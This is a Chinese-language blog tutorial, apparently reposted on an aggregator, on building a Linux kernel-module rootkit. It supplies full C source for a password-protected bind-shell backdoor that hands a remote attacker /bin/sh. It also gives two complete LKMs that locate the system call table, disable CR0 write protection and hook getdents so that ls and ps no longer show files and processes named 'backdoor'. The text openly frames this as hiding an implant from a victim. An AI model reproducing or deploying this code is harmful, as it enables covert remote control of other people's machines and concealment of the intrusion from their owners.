Rootkit-LKM编程劫持系统调用,隐藏后门程序backdoor(ps,ls)

前言

最近学习到rootkit,由于之前没怎么接触到Linux内核,系统调用具体实现这些稍底层的东西,并且参考的许多代码都是基于内核2.6的又不想重装低版本系统,所以踩了很多坑浪费了很多时间,查了许多资料,掉了许多头发,现稍整理希望能给后面采坑的人提供一点思路。

环境:
Ubuntu 16.04
linux内核版本 4.10.0-37

代码在这里
积分多的可以下载一下,没积分的后面也有完整代码

注:这里的makefile要注意一下
Rootkit-LKM编程劫持系统调用,隐藏后门程序backdoor(ps,ls)_第1张图片

打开是这样的,划红线的地方留下你要编译的,另一个注掉
Rootkit-LKM编程劫持系统调用,隐藏后门程序backdoor(ps,ls)_第2张图片

backdoor

backdoor,说是后门程序,个人感觉后门程序的范围很大,偷偷装在别人电脑里面试图达到某些社(不)会(可)和(告)谐(人)目的的都是后门程序,只是功能不一样,地点不一样,有的在用户态有的在内核之类的,比如Rootkit,装在内核里面,隐藏文件、进程和网络链接之类的信息。

下面用socket写一个简单的backdoor,功能是打开受害者电脑特定端口,接收到攻击者的连接请求成功后打开一个bash,从而攻击者可以操纵受害者电脑做任何不可描述的事情。

思路是这样的:

打开端口进行监听–>接收到连接请求后发现是攻击者–>打开一个bash并将标准输入输出绑定到socket

代码是这样的:

#include   
#include   
#include   
#include   
#include   
#include  
#include 


int main(int argc, char **argv)
{
    int i, listenfd, goshyoujinnsama;
    pid_t pid;
    int len = 128;
    int port=8888;  
    char buf[len];
    socklen_t len2;
    struct sockaddr_in s_addr;
    struct sockaddr_in c_addr;
    char enterpass[32]="Stop! who are you ?";
    char welcome[32]="Welcome,master!";
    char password[5]="11111";
    char sorry[32]="heheda !";

    listenfd = socket(AF_INET,SOCK_STREAM,0);
    if (listenfd == -1){
        exit(1);
    }

    bzero(&s_addr,sizeof(s_addr));
    s_addr.sin_family=AF_INET;
    s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
    s_addr.sin_port=htons(port);

    if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -1){
        exit(1);
    }
    if (listen(listenfd, 20)==-1){
        exit(1);
    }
    len2 = sizeof(c_addr);

    while(1){
        goshyoujinnsama = accept(listenfd, (struct sockaddr *)&c_addr, &len2);
        if((pid = fork()) > 0)
        {
            exit(0);
        }else if(!pid){
            close(listenfd);
            write(goshyoujinnsama, enterpass, strlen(enterpass));
            memset(buf,'\0', len);
            read(goshyoujinnsama, buf, len);
            if (strncmp(buf,password,5) !=0){
                write(goshyoujinnsama, sorry, strlen(sorry));
                close(goshyoujinnsama);
                exit(0);
            }else{
                write(goshyoujinnsama, welcome, strlen(welcome));
                dup2(goshyoujinnsama,0);
                dup2(goshyoujinnsama,1); 
                dup2(goshyoujinnsama,2);
                execl("/bin/sh", "toSyojinn", (char *) 0);
            }
        }
    }
    close(goshyoujinnsama);
}

过程是这样的:

1.受害者电脑上编译backdoor
Rootkit-LKM编程劫持系统调用,隐藏后门程序backdoor(ps,ls)_第3张图片

2.编译好了跑一下
Rootkit-LKM编程劫持系统调用,隐藏后门程序backdoor(ps,ls)_第4张图片

3.攻击者电脑上发送连接请求
这里写图片描述

4.连接成功,ls试一下能不能看到受害者电脑上目录
Rootkit-LKM编程劫持系统调用,隐藏后门程序backdoor(ps,ls)_第5张图片

ok,backdoor就到这里,其实是很简单的代码,现在有许多工具都比这强大太多。

下面说隐藏,先是最简单的 ls

欺骗ls,进行文件隐藏

现在我们有了backdoor,可是他就在受害者小明的电脑上,万一小明想ls看一下文件夹里有什么那岂不是会被他发现多了个backdoor这么个玩意儿?我们辛辛苦苦装的这么精(简)致(漏)的后门程序岂不是要被干掉,不怕,我们让ls显示不出来。

原理是这样的

首先,分析一下ls命令工作原理,输入strace ls:
这里写图片描述
发现ls调用了一个系统调用,getdents,那么我们只要把这个系统调用劫持了,换成我们自己的getdents不是就美滋滋了吗。

1.怎么劫持?
系统调用函数也是函数,也要存在内存里,也是通过地址访问,那么我们是不是可以把存放getdent这个系统调用地址的地方篡改成我们自己写的函数,这样别人调用getdents不就跑到我们自己写的函数里面去了吗?
2.怎么找到getdents这个系统调用的地址?
首先,有一个东西叫系统调用表,里面存放了所有系统调用函数的地址,这个表是一个数组,可以通过下标访问它的元素,即(系统调用函数地址),下标是什么呢,是系统调用号,系统调用号又是什么呢?是系统调用函数的编号,每一个系统调用都对应一个编号,从1开始。。。。这样只要找到系统调用表就能够找到getdents了。
3.怎么找到系统调用表?
有很多方法,比如通过IDT。具体就不详述了,网上一找一大堆

关于coding过程中的几个坑:
1.linux_dirent要不要在代码中自己定义,参考linux自己的说法是:
Rootkit-LKM编程劫持系统调用,隐藏后门程序backdoor(ps,ls)_第6张图片
2.如果你在每次将模块insmod之后系统会崩掉的话
很大可能是内存的问题,比如说你在内核态操作了用户态的指针(dirp之类的),至于为什么要使用copy_fron_user函数的问题,以及进程运行在用户态和内核态的区别,参考这篇博文
3.还有许多坑忘了,代码里有许多printk,可以用来调试

代码ls_hide.c是这样的:

不清楚怎么编译内核模块的可以看这里

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include    
#include      
#include   
#include   
#include   
#include 

struct linux_dirent{
    unsigned long     d_ino;
    unsigned long     d_off;
    unsigned short    d_reclen;
    char    d_name[1];
};

static unsigned long ** sys_call_table;

long (*old_getdents)(unsigned int fd, struct linux_dirent __user *dirp,
                    unsigned int count);

void disable_write_protection(void)
{
        unsigned long cr0 = read_cr0();
        clear_bit(16, &cr0);
        write_cr0(cr0);
}

void enable_write_protection(void)
{
        unsigned long cr0 = read_cr0();
        set_bit(16, &cr0);
        write_cr0(cr0);
}

void *
get_lstar_sct_addr(void)
{
    u64 lstar;
    u64 index;

    rdmsrl(MSR_LSTAR, lstar);
    for (index = 0; index <= PAGE_SIZE; index += 1) {
        u8 *arr = (u8 *)lstar + index;

        if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {
            return arr + 3;
        }
    }

    return NULL;
}

unsigned long **
get_lstar_sct(void)
{
    //printk("222222222222222222222222222222222222222222222222222222222222222");
    unsigned long *lstar_sct_addr = get_lstar_sct_addr();
    if (lstar_sct_addr != NULL) {
        u64 base = 0xffffffff00000000;
        u32 code = *(u32 *)lstar_sct_addr;
        return (void *)(base | code);
    } else {
        return NULL;
    }                                         
}

asmlinkage long my_getdents(unsigned int fd, struct linux_dirent __user *dirp,
                    unsigned int count){

struct linux_dirent *td,*td1,*td2,*td3;  
int number;
int copy_len = 0;

//printk("111111111111111111111111111111111111111111111111111111111111");  
    // 调用原始的系统调用,下面对返回结果进行过滤  
    number = (*old_getdents) (fd, dirp, count);  
    if (!number)  
        return (number);  

    // 分配内核空间,并把用户空间的数据拷贝到内核空间  
    td2 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL);
    td1 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL);
    td = td1;
    td3 = td2;
    copy_from_user(td2, dirp, number);  

    while(number>0){

        //printk("33333333333333333333333333333333333333333333333333333333333");
        //printk("%d\n",number);  
        //printk("%d\n",td2->d_reclen);
        number = number - td2->d_reclen;
        //printk("%s\n",td2->d_name);
        if(strstr(td2->d_name,"backdoor") == NULL){
            memmove(td1, (char *) td2 , td2->d_reclen);
            td1 = (struct linux_dirent *) ((char *)td1 + td2->d_reclen);
            copy_len = copy_len + td2->d_reclen;
        }

        td2 = (struct linux_dirent *) ((char *)td2 + td2->d_reclen);

    }
    // 将过滤后的数据拷贝回用户空间
    copy_to_user(dirp, td, copy_len);  
    kfree(td); 
    kfree(td3);
    return (copy_len);  
}

static int filter_init(void)
{   
    //int i = 0;
    sys_call_table = get_lstar_sct();
    if (!sys_call_table)
    {
        //printk("get_act_addr(): NULL...\n");
        return 0;
    }
    else{

        //printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
        old_getdents = (void *)sys_call_table[__NR_getdents];
        //printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned long *)old_getdents);
        //printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned long *)&my_getdents);
        disable_write_protection();
        sys_call_table[__NR_getdents] = (unsigned long *)&my_getdents;
        enable_write_protection();
        //printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);

        //printk("sct: 0x%p\n", (unsigned long)sys_call_table);
    return 0;
    }   
}

static void filter_exit(void)
{
    //printk("----------------------------------------------------------------------------------");
    //printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
    disable_write_protection();
    sys_call_table[__NR_getdents] = (unsigned long *)old_getdents;
    enable_write_protection();
    //printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
    //printk(KERN_INFO "hideps: module removed\n");
}
MODULE_LICENSE("GPL");
module_init(filter_init);
module_exit(filter_exit);

注意if(strstr(td2->d_name,”backdoor”) == NULL){ ,这行代码里的backdoor改成自己想隐藏的文件名。

下面说隐藏进程

欺骗ps,进行进程隐藏

原理是这样的

和ls差不多
和ls差不多
和ls差不多

ok ,其实这里和ls差不多,唯一不同的是,隐藏文件的时候直接用d_name匹配我们想要隐藏的文件名就行了,而隐藏进程时,我们获得的d_name是进程的PID号,必须要知道这个PID号代表的进程的名字是什么。

那么怎么知道PID号对应的文件名?
看了很多网上流传的代码,基本上都是通过current宏来获取当前执行进程的task_struct指针,然后又知道这些task_struct都是存放在一个双向循环链表里面的,这样就可以调用list_for_each_entry函数遍历这个链表,找到PID对应的进程,通过comm属性得到名字。但是我没调试成功,还是太菜了。。。
换个方式,/proc目录下面尊放了很多进程信息,而/proc/…/status文件的第一行就是进程名,所以我决定直接读取里面的信息得到名字,调试过程中出现了很多莫名其妙的问题,还是自己对内核不够了解导致的,具体实现如下:

int check_pid_Name(char *pid_name,int len) {

    int m_flag = 0;
    struct file *fp;
    mm_segment_t fs;
    loff_t pos;
    char *buf1;
    char *t_pid_name;
    char * pro = "/proc/";
    char * statu = "/status";

    buf1 = (char *) kmalloc(64, GFP_KERNEL);
    t_pid_name = (char *) kmalloc(len + 14, GFP_KERNEL);

    memmove(t_pid_name, (char *) pro , 6);
    memmove(t_pid_name + 6, (char *) pid_name , len);
    memmove(t_pid_name + 6 + len, (char *) statu , 7);
    fp = filp_open(t_pid_name,O_RDONLY,0000);
    if (IS_ERR(fp)){
        printk("open file error/n");
        return -1;
    }

    fs = get_fs();
    set_fs(KERNEL_DS);
    pos =0;
    vfs_read(fp, buf1, 64, &pos);
    if (strstr(buf1,"backdoor") == NULL)
    {
        m_flag = 1;
    }
    printk("read: %s/n",buf1);
    filp_close(fp,NULL);
    set_fs(fs);

    kfree(buf1);
    kfree(t_pid_name);
    return m_flag;
}

完整代码ps_hide.c是这样的

编译时会有很多警告,基本都是prink造成的,可以无视

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include    
#include      
#include   
#include   
#include   
#include 

struct linux_dirent{
    unsigned long     d_ino;
    unsigned long     d_off;
    unsigned short    d_reclen;
    char    d_name[1];
};

static unsigned long ** sys_call_table;

long (*old_getdents)(unsigned int fd, struct linux_dirent __user *dirp,
                    unsigned int count);

void disable_write_protection(void)
{
        unsigned long cr0 = read_cr0();
        clear_bit(16, &cr0);
        write_cr0(cr0);
}

void enable_write_protection(void)
{
        unsigned long cr0 = read_cr0();
        set_bit(16, &cr0);
        write_cr0(cr0);
}

void *
get_lstar_sct_addr(void)
{
    u64 lstar;
    u64 index;

    rdmsrl(MSR_LSTAR, lstar);
    for (index = 0; index <= PAGE_SIZE; index += 1) {
        u8 *arr = (u8 *)lstar + index;

        if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {
            return arr + 3;
        }
    }

    return NULL;
}


unsigned long **
get_lstar_sct(void)
{

    printk("222222222222222222222222222222222222222222222222222222222222222");
    unsigned long *lstar_sct_addr = get_lstar_sct_addr();
    if (lstar_sct_addr != NULL) {
        u64 base = 0xffffffff00000000;
        u32 code = *(u32 *)lstar_sct_addr;
        return (void *)(base | code);
    } else {
        return NULL;
    }                                         
}


int check_pid_Name(char *pid_name,int len) {

    int m_flag = 0;
    struct file *fp;
    mm_segment_t fs;
    loff_t pos;
    char *buf1;
    char *t_pid_name;
    char * pro = "/proc/";
    char * statu = "/status";
    //char c_name[len + 13];
    buf1 = (char *) kmalloc(64, GFP_KERNEL);
    t_pid_name = (char *) kmalloc(len + 14, GFP_KERNEL);

    memmove(t_pid_name, (char *) pro , 6);
    memmove(t_pid_name + 6, (char *) pid_name , len);
    memmove(t_pid_name + 6 + len, (char *) statu , 7);
    //c_name = t_pid_name;

    printk("%s\n",pid_name);
    printk("%s\n",t_pid_name);
    printk("%d\n",len);

    fp = filp_open(t_pid_name,O_RDONLY,0000);
    if (IS_ERR(fp)){
        printk("open file error/n");
        return -1;
    }

    fs = get_fs();
    set_fs(KERNEL_DS);
    pos =0;
    vfs_read(fp, buf1, 64, &pos);
    if (strstr(buf1,"backdoor") == NULL)
    {
        m_flag = 1;
    }
    printk("read: %s/n",buf1);
    filp_close(fp,NULL);
    set_fs(fs);

    kfree(buf1);
    kfree(t_pid_name);
    return m_flag;
}


int is_int(char *str)
{
    int str_len = 0;
    char *ptr;
    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
    {
        if (*ptr >= '0' && *ptr <= '9')
            str_len = str_len + 1;
    }
    return (str_len);
}


asmlinkage long my_getdents(unsigned int fd, struct linux_dirent __user *dirp,
                    unsigned int count){



struct linux_dirent *td,*td1,*td2,*td3;  
int number;
int copy_len = 0;

printk("111111111111111111111111111111111111111111111111111111111111");  
    // 调用原始的系统调用,下面对返回结果进行过滤  
    number = (*old_getdents) (fd, dirp, count);  
    if (!number)  
        return (number);  

    // 分配内核空间,并把用户空间的数据拷贝到内核空间  
    td2 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL);
    td1 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL);
    td = td1;
    td3 = td2;
    copy_from_user(td2, dirp, number);  

    while(number>0){

        printk("33333333333333333333333333333333333333333333333333333333333");
        printk("%d\n",number);  
        printk("%d\n",td2->d_reclen);
        number = number - td2->d_reclen;
        printk("%s\n",td2->d_name);

        if(check_pid_Name(td2->d_name,is_int(td2->d_name))){
            memmove(td1, (char *) td2 , td2->d_reclen);
            td1 = (struct linux_dirent *) ((char *)td1 + td2->d_reclen);
            copy_len = copy_len + td2->d_reclen;
        }

        td2 = (struct linux_dirent *) ((char *)td2 + td2->d_reclen);

    }

    // 将过滤后的数据拷贝回用户空间
    copy_to_user(dirp, td, copy_len);  
    kfree(td); 
    kfree(td3);
    return (copy_len);  
}


static int filter_init(void)
{   
    sys_call_table = get_lstar_sct();
    if (!sys_call_table)
    {
        printk("get_act_addr(): NULL...\n");
        return 0;
    }
    else{

        printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
        old_getdents = (void *)sys_call_table[__NR_getdents];
        printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned long *)old_getdents);
        printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned long *)&my_getdents);
        disable_write_protection();
        sys_call_table[__NR_getdents] = (unsigned long *)&my_getdents;
        enable_write_protection();
        printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);

        printk("sct: 0x%p\n", (unsigned long)sys_call_table);
    return 0;
    }   
}


static void filter_exit(void)
{
    printk("----------------------------------------------------------------------------------");
    printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
    disable_write_protection();
    sys_call_table[__NR_getdents] = (unsigned long *)old_getdents;
    enable_write_protection();
    printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
    printk(KERN_INFO "hideps: module removed\n");
}


MODULE_LICENSE("GPL");
module_init(filter_init);
module_exit(filter_exit);

以上

你可能感兴趣的:(linux,kernel,rootkit,backdoor,系统调用劫持,信息安全,网络工具,linux内核)